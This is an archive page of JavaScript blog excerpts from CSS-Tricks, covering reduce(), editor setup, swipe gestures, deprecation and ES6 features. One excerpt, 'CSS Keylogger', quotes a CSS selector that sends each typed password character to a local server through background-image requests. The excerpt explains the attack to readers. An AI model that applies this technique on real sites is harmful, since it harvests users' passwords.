Archive | JavaScript

RSS feed for this section

Anatomy of a malicious script: how a website can take over your browser

By now, we all know that the major tech behemoths like Facebook or Google know everything about our lives, including how often we go to the bathroom (hence all the prostate medication ads that keep popping up, even on reputable news sites). After all, we’ve given them permission to do so, by reading pages and pages of legalese in their T&C pages (we all did, didn’t we?) and clicking on the “Accept” button.

But what can a site do to …

The post Anatomy of a malicious script: how a website can take over your browser appeared first on CSS-Tricks.

Understanding the Almighty Reducer

I was recently mentoring someone who had trouble with the .reduce() method in JavaScript. Namely, how you get from this:

const nums = [1, 2, 3]
let value = 0

for (let i = 0; i < nums.length; i++) {
value += nums[i]
}

…to this:

const nums = [1, 2, 3]
const value = nums.reduce((ac, next) => ac + next, 0)

They are functionally equivalent and they both sum up all the numbers in the array, but there is …

The post Understanding the Almighty Reducer appeared first on CSS-Tricks.

Turn Sublime Text 3 into a JavaScript IDE

Sublime Text is one of the most popular editors for web development and software development in general. It’s very smooth and fast compared to other editors (being written in C++ helps that speed). Sublime also has tons of plugins you can find through Package Control.

But it’s only a text editor and not an IDE. An IDE is a software application that provides comprehensive facilities to computer programmers for software development. In fact, Sublime doesn’t offer features like …

The post Turn Sublime Text 3 into a JavaScript IDE appeared first on CSS-Tricks.

Turn Sublime Text 3 into a JavaScript IDE

Sublime Text is one of the most popular editors for web development and software development in general. It’s very smooth and fast compared to other editors (being written in C++ helps that speed). Sublime also has tons of plugins you can find through Package Control.

But it’s only a text editor and not an IDE. An IDE is a software application that provides comprehensive facilities to computer programmers for software development. In fact, Sublime doesn’t offer features like …

The post Turn Sublime Text 3 into a JavaScript IDE appeared first on CSS-Tricks.

Simple Swipe With Vanilla JavaScript

I used to think implementing swipe gestures had to be very difficult, but I have recently found myself in a situation where I had to do it and discovered the reality is nowhere near as gloomy as I had imagined.

This article is going to take you, step by step, through the implementation with the least amount of code I could come up with. So, let’s jump right into it!

The HTML Structure

We start off with a .container that …

The post Simple Swipe With Vanilla JavaScript appeared first on CSS-Tricks.

Approaches to Deprecating Code in JavaScript

Recently, I had to dig into the topic of code deprecation in JavaScript. I feel like this topic gets less coverage even though it may a play key role in certain projects, especially when working in bigger teams or dealing with external APIs.

In JavaScript-land, I don’t know of any true industry standards for deprecating JavaScript. It could be different per any team, library or vendor.

That’s why my goal here is to sum up my findings and thoughts on …

The post Approaches to Deprecating Code in JavaScript appeared first on CSS-Tricks.

The JavaScript Learning Landscape in 2018

Raise your hand if this sounds like you:

You’ve been in the tech industry for a number of years, you know HTML and CSS inside-and-out, and you make a good living. But, you have a little voice in the back of your head that keeps whispering, “It’s time for something new, for the next step in your career. You need to learn programming.”

Yep, same here.

I’ve served in a variety of roles in the tech industry for close to …


The JavaScript Learning Landscape in 2018 is a post from CSS-Tricks

CSS Keylogger

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}

At first, I was like wait a minute, you can’t select inputs based on what people type in them but only what’s set on the attribute itself. Max Chehab shows how it is possible, however, because React uses “controlled components” that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp =


CSS Keylogger is a post from CSS-Tricks

Using Default Parameters in ES6

I’ve recently begun doing more research into what’s new in JavaScript, catching up on a lot of the new features and syntax improvements that have been included in ES6 (i.e. ES2015 and later).

You’ve likely heard about and started using the usual stuff: arrow functions, let and const, rest and spread operators, and so on. One feature, however, that caught my attention is the use of default parameters in functions, which is now an official ES6+ feature. This is …


Using Default Parameters in ES6 is a post from CSS-Tricks

JavaScript, I love you, you’re perfect, now change

Those of us who celebrate Christmas or Hannukkah probably have strong memories of the excitement of December. Do you remember the months leading up to Christmas, when your imagination exploded with ideas, answers to the big question “What do you want for Christmas?” As a kid, because you aren’t bogged down by adult responsibility and even the bounds of reality, the list could range anywhere from “legos” to “a trip to the moon” (which is seeming like will be more …


JavaScript, I love you, you’re perfect, now change is a post from CSS-Tricks